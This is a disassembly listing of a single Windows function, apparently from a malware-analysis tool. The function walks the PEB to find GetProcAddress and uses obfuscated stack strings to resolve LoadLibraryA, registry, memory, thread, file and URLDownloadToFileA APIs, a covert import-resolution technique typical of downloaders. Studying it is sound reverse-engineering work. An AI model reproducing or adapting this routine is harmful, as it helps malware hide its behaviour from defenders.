Function at 0x140001270
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword gs:[0x60]
mov rbx, rcx
mov rdi, rdx
xor edx, edx
mov r8, qword [rax + 0x18]
mov rax, qword [r8 + 0x20]
mov r8, qword [rax]
mov rax, qword [r8]
movabs r8, 0x41636f7250746547
mov r10, qword [rax + 0x20]
movsxd rax, dword [r10 + 0x3c]
mov r11d, dword [rax + r10 + 0x88]
mov eax, dword [r11 + r10 + 0x20]
add rax, r10
movsxd rcx, dword [rax]
cmp qword [rcx + r10], r8
je 0x1400012e0
nop dword [rax]
movsxd rcx, dword [rax + 4]
lea rax, [rax + 4]
inc edx
cmp qword [rcx + r10], r8
jne 0x1400012d0
movsxd r8, edx
mov rcx, r10
mov edx, dword [r11 + r10 + 0x24]
add rdx, r10
movsx r9, word [rdx + r8*2]
mov edx, dword [r11 + r10 + 0x1c]
add rdx, r10
movsxd rax, dword [rdx + r9*4]
lea rdx, [rbp - 0x30]
add rax, r10
mov qword [rbp - 0x28], 0x41797261
mov qword [rbx + 8], rax
movabs rax, 0x7262694c64616f4c
mov qword [rbp - 0x30], rax
mov qword [rdi], r10
call qword [rbx + 8]
movabs rcx, 0x642e323372657375
mov qword [rbp - 0x28], 0x6c6c
mov qword [rbp - 0x30], rcx
lea rcx, [rbp - 0x30]
mov qword [rbx], rax
call rax
mov rcx, qword [rdi]
lea rdx, [rbp - 0x30]
mov qword [rdi + 8], rax
movabs rax, 0x636f725074697845
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 0x737365
call qword [rbx + 8]
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x28], 0x6c6c642e
mov qword [rbx + 0x10], rax
movabs rax, 0x3233495041564441
mov qword [rbp - 0x30], rax
call qword [rbx]
movabs rcx, 0x6156746553676552
lea rdx, [rbp - 0x30]
mov qword [rdi + 0x10], rax
mov qword [rbp - 0x30], rcx
movabs rcx, 0x41784565756c
mov qword [rbp - 0x28], rcx
mov rcx, rax
call qword [rbx + 8]
lea rdx, [rbp - 0x20]
mov qword [rbp - 0x10], 0
mov qword [rbx + 0x18], rax
movabs rax, 0x7972657551676552
mov rcx, qword [rdi + 0x10]
mov qword [rbp - 0x20], rax
movabs rax, 0x41784565756c6156
mov qword [rbp - 0x18], rax
call qword [rbx + 8]
mov qword [rbx + 0x28], rax
lea rdx, [rbp - 0x20]
mov rcx, qword [rdi + 0x10]
movabs rax, 0x74656c6544676552
mov qword [rbp - 0x30], rax
movabs rax, 0x4165756c615665
mov qword [rbp - 0x28], rax
call qword [rbx + 8]
lea rdx, [rbp - 0x30]
mov qword [rbp - 0x28], 0x636f6c6c
mov qword [rbx + 0x30], rax
movabs rax, 0x416c617574726956
mov rcx, qword [rdi]
mov qword [rbp - 0x30], rax
call qword [rbx + 8]
lea rdx, [rbp - 0x30]
mov qword [rbp - 0x28], 0x64616572
mov qword [rbx + 0x20], rax
movabs rax, 0x6854657461657243
mov rcx, qword [rdi]
mov qword [rbp - 0x30], rax
call qword [rbx + 8]
mov qword [rbp - 0x10], 0x746365
lea rdx, [rbp - 0x20]
mov qword [rbx + 0x38], rax
movabs rax, 0x53726f4674696157
mov qword [rbp - 0x20], rax
movabs rax, 0x6a624f656c676e69
mov qword [rbp - 0x18], rax
mov rcx, qword [rdi]
call qword [rbx + 8]
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x28], 0x6c6c
mov qword [rbx + 0x40], rax
movabs rax, 0x642e6e6f6d6c7255
mov qword [rbp - 0x30], rax
call qword [rbx]
movabs rcx, 0x6c6e776f444c5255
mov qword [rbp - 0x10], 0x4165
mov qword [rbp - 0x20], rcx
lea rdx, [rbp - 0x20]
movabs rcx, 0x6c69466f5464616f
mov qword [rdi + 0x18], rax
mov qword [rbp - 0x18], rcx
mov rcx, rax
call qword [rbx + 8]
lea rdx, [rbp - 0x30]
mov qword [rbp - 0x28], 0x656c
mov qword [rbx + 0x48], rax
movabs rax, 0x6946657461657243
mov rcx, qword [rdi]
mov qword [rbp - 0x30], rax
call qword [rbx + 8]
lea rdx, [rbp - 0x30]
mov qword [rbp - 0x28], 0x657a69
mov qword [rbx + 0x50], rax
movabs rax, 0x53656c6946746547
mov rcx, qword [rdi]
mov qword [rbp - 0x30], rax
call qword [rbx + 8]
lea rdx, [rbp - 0x30]
mov qword [rbp - 0x28], 0
mov qword [rbx + 0x58], rax
movabs rax, 0x656c694664616552
mov rcx, qword [rdi]
mov qword [rbp - 0x30], rax
call qword [rbx + 8]
lea rdx, [rbp - 0x30]
mov qword [rbp - 0x28], 0x656c64
mov qword [rbx + 0x60], rax
movabs rax, 0x6e614865736f6c43
mov rcx, qword [rdi]
mov qword [rbp - 0x30], rax
call qword [rbx + 8]
mov rdi, qword [rsp + 0x68]
mov qword [rbx + 0x68], rax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret